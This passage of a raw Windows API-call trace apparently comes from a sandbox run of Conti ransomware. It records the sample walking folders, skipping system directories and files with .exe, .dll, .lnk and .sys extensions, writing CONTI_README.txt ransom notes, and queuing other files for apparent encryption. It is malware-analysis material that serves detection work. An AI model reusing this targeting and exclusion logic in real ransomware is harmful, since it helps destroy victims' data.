	[0093.223] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c3e88) returned 1
	[0093.223] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.223] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.224] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.224] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.224] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.224] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.224] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.224] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.224] GetProcessHeap () returned 0x1720000
	[0093.224] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734510 | out: hHeap=0x1720000) returned 1
	[0093.224] FindClose (in: hFindFile=0x175e6f0 | out: hFindFile=0x175e6f0) returned 1
	[0093.224] GetProcessHeap () returned 0x1720000
	[0093.224] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.224] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1031", cAlternateFileName="")) returned 1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2=".") returned 1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="..") returned 1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="tmp") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="winnt") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="Application Data") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="AppData") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="temp") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="thumb") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="$Recycle.Bin") returned 1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="$RECYCLE.BIN") returned 1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="System Volume Information") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="Program Files") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="Program Files (x86)") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="Boot") returned -1
	[0093.224] lstrcmpiW (lpString1="1031", lpString2="Windows") returned -1
	[0093.224] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.224] lstrlenW (lpString="1031") returned 4
	[0093.224] GetProcessHeap () returned 0x1720000
	[0093.224] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.224] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.225] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.225] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1031" | out: lpString1="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0093.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0093.225] GetProcessHeap () returned 0x1720000
	[0093.225] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x17343f0
	[0093.225] lstrcpyW (in: lpString1=0x17343f0, lpString2="C:\\588bce7c90097ed212\\1031" | out: lpString1="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0093.225] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1031\\*") returned="C:\\588bce7c90097ed212\\1031\\*"
	[0093.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0093.225] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.225] GetProcessHeap () returned 0x1720000
	[0093.225] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bfb88
	[0093.225] lstrcpyW (in: lpString1=0x17bfb88, lpString2="C:\\588bce7c90097ed212\\1031" | out: lpString1="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0093.225] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0093.225] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1031\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1031\\CONTI_README.txt"
	[0093.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.227] GetProcessHeap () returned 0x1720000
	[0093.227] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfb88 | out: hHeap=0x1720000) returned 1
	[0093.227] WriteFile (in: hFile=0x300, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.228] CloseHandle (hObject=0x300) returned 1
	[0093.228] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b697435, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e770
	[0093.228] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.228] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b697435, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.228] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.228] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.228] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b697435, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b697435, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b697435, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.228] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.228] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.228] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.228] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.228] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.228] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.228] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.228] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.228] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.228] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.229] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.229] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.229] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.229] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.229] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0093.229] lstrlenW (lpString="eula.rtf") returned 8
	[0093.229] GetProcessHeap () returned 0x1720000
	[0093.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d508
	[0093.229] lstrcpyW (in: lpString1=0x173d508, lpString2="C:\\588bce7c90097ed212\\1031" | out: lpString1="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0093.229] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0093.229] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf"
	[0093.229] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4578) returned 1
	[0093.229] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.229] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.229] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.229] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0093.229] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.229] GetProcessHeap () returned 0x1720000
	[0093.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17bfb88
	[0093.229] lstrcpyW (in: lpString1=0x17bfb88, lpString2="C:\\588bce7c90097ed212\\1031" | out: lpString1="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0093.229] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0093.229] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml"
	[0093.229] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5a00) returned 1
	[0093.229] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.230] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.230] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.230] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.230] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.230] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.230] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.230] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.230] GetProcessHeap () returned 0x1720000
	[0093.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17343f0 | out: hHeap=0x1720000) returned 1
	[0093.230] FindClose (in: hFindFile=0x175e770 | out: hFindFile=0x175e770) returned 1
	[0093.230] GetProcessHeap () returned 0x1720000
	[0093.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.230] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1032", cAlternateFileName="")) returned 1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2=".") returned 1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="..") returned 1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="tmp") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="winnt") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="Application Data") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="AppData") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="temp") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="thumb") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="$Recycle.Bin") returned 1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="$RECYCLE.BIN") returned 1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="System Volume Information") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="Program Files") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="Program Files (x86)") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="Boot") returned -1
	[0093.230] lstrcmpiW (lpString1="1032", lpString2="Windows") returned -1
	[0093.230] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.230] lstrlenW (lpString="1032") returned 4
	[0093.230] GetProcessHeap () returned 0x1720000
	[0093.230] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.230] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.230] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.230] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1032" | out: lpString1="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0093.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0093.231] GetProcessHeap () returned 0x1720000
	[0093.231] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734558
	[0093.231] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\588bce7c90097ed212\\1032" | out: lpString1="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0093.231] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1032\\*") returned="C:\\588bce7c90097ed212\\1032\\*"
	[0093.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0093.231] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.231] GetProcessHeap () returned 0x1720000
	[0093.231] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bfbf0
	[0093.231] lstrcpyW (in: lpString1=0x17bfbf0, lpString2="C:\\588bce7c90097ed212\\1032" | out: lpString1="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0093.231] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0093.231] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1032\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1032\\CONTI_README.txt"
	[0093.231] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.233] GetProcessHeap () returned 0x1720000
	[0093.233] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfbf0 | out: hHeap=0x1720000) returned 1
	[0093.233] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.234] CloseHandle (hObject=0x2fc) returned 1
	[0093.234] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b697435, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e5f0
	[0093.234] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.234] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b697435, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.234] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.234] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.234] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b697435, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b697435, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b697435, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.235] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.235] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.235] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.235] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.235] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.235] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.235] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.235] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0093.235] lstrlenW (lpString="eula.rtf") returned 8
	[0093.235] GetProcessHeap () returned 0x1720000
	[0093.235] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d328
	[0093.235] lstrcpyW (in: lpString1=0x173d328, lpString2="C:\\588bce7c90097ed212\\1032" | out: lpString1="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0093.235] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0093.235] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf"
	[0093.235] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c50e0) returned 1
	[0093.235] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.235] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.235] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
